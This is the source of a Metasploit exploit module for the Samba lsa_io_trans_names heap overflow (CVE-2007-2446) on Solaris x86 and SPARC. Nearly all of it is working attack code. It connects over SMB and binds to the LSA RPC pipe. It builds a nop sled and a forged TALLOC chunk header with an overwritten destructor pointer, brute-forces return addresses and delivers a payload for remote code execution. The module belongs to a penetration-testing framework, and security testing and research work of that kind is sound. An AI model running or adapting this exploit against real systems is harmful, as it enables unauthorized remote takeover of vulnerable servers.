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## # $Id: lsa_transnames_heap.rb 9021 2010-04-05 23:34:10Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba lsa_io_trans_names Heap Overflow', 'Description'=> %q{ This module triggers a heap overflow in the LSA RPC service of the Samba daemon. This module uses the TALLOC chunk overwrite method (credit Ramon and Adriano), which only works with Samba versions 3.0.21-3.0.24. Additionally, this module will not work when the Samba "log level" parameter is higher than "2". }, 'Author' => [ 'ramon', 'Adriano Lima <adriano@risesecurity.org>', 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9021 $', 'References' => [ ['CVE', '2007-2446'], ['OSVDB', '34699'], ], 'Privileged' => true, 'Payload'=> { 'Space'=> 1024, }, 'Platform' => 'solaris', 'Targets'=> [ ['Solaris 8/9/10 x86 Samba 3.0.21-3.0.24', { 'Platform'=> 'solaris', 'Arch'=> [ ARCH_X86 ], 'Nops'=> 64 * 1024, 'Bruteforce' => { 'Start' => { 'Ret' => 0x082f2000 }, 'Stop'=> { 'Ret' => 0x084f2000 }, 'Step'=> 60 * 1024, } } ], ['Solaris 8/9/10 SPARC Samba 3.0.21-3.0.24', { 'Platform'=> 'solaris', 'Arch'=> [ ARCH_SPARC ], 'Nops'=> 64 * 1024, 'Bruteforce' => { 'Start' => { 'Ret' => 0x00322000 }, 'Stop'=> { 'Ret' => 0x00722000 }, 'Step'=> 60 * 1024, } } ], ['DEBUG', { 'Platform'=> 'solaris', 'Arch'=> [ ARCH_X86 ], 'Nops'=> 64 * 1024, 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, 'Stop'=> { 'Ret' => 0xaabbccdd }, 'Step'=> 60 * 1024, } } ], ], 'DisclosureDate' => 'May 14 2007', 'DefaultTarget'=> 0 )) register_options( [ OptString.new('SMBPIPE', [ true,"The pipe name to use", 'LSARPC']), ], self.class) end # Need to perform target detection def autofilter false end def brute_exploit(target_addrs) if(not @nops) if (target['Nops'] > 0) print_status("Creating nop sled....") @nops = make_nops(target['Nops']) else @nops = '' end end print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) nops = @nops pipe = datastore['SMBPIPE'].downcase print_status("Connecting to the SMB service...") connect() smb_login() datastore['DCERPC::fake_bind_multi'] = false handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") num_entries= 272 num_entries2 = 288 # # First talloc_chunk # 16 bits align # 16 bits sid_name_use # 16 bits uni_str_len # 16 bits uni_max_len # 32 bits buffer # 32 bits domain_idx # buf = (('A' * 16) * num_entries) # Padding buf << 'A' * 8 # TALLOC_MAGIC talloc_magic = "\x70\xec\x14\xe8" # Second talloc_chunk header buf << 'A' * 8 # next, prev buf << NDR.long(0) + NDR.long(0) # parent, child buf << NDR.long(0) # refs buf << [target_addrs['Ret']].pack('V') # destructor buf << 'A' * 4 # name buf << 'A' * 4 # size buf << talloc_magic# flags stub = lsa_open_policy(dcerpc) stub << NDR.long(0)# num_entries stub << NDR.long(0)# ptr_sid_enum stub << NDR.long(num_entries)# num_entries stub << NDR.long(0x20004)# ptr_trans_names stub << NDR.long(num_entries2) # num_entries2 stub << buf stub << nops stub << payload.encoded print_status("Calling the vulnerable function...") begin # LsarLookupSids dcerpc.call(0x0f, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError print_status('Server did not respond, this is expected') rescue Rex::Proto::DCERPC::Exceptions::Fault print_error('Server is most likely patched...') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') else print_error("Error: #{e.class}: #{e}") end end handler disconnect end def lsa_open_policy(dcerpc, server="\\") stubdata = # Server NDR.uwstring(server) + # Object Attributes NDR.long(24) + # SIZE NDR.long(0)+ # LSPTR NDR.long(0)+ # NAME NDR.long(0)+ # ATTRS NDR.long(0)+ # SEC DES # LSA QOS PTR NDR.long(1)+ # Referent NDR.long(12) + # Length NDR.long(2)+ # Impersonation NDR.long(1)+ # Context Tracking NDR.long(0)+ # Effective Only # Access Mask NDR.long(0x02000000) res = dcerpc.call(6, stubdata) dcerpc.last_response.stub_data[0,20] end end |
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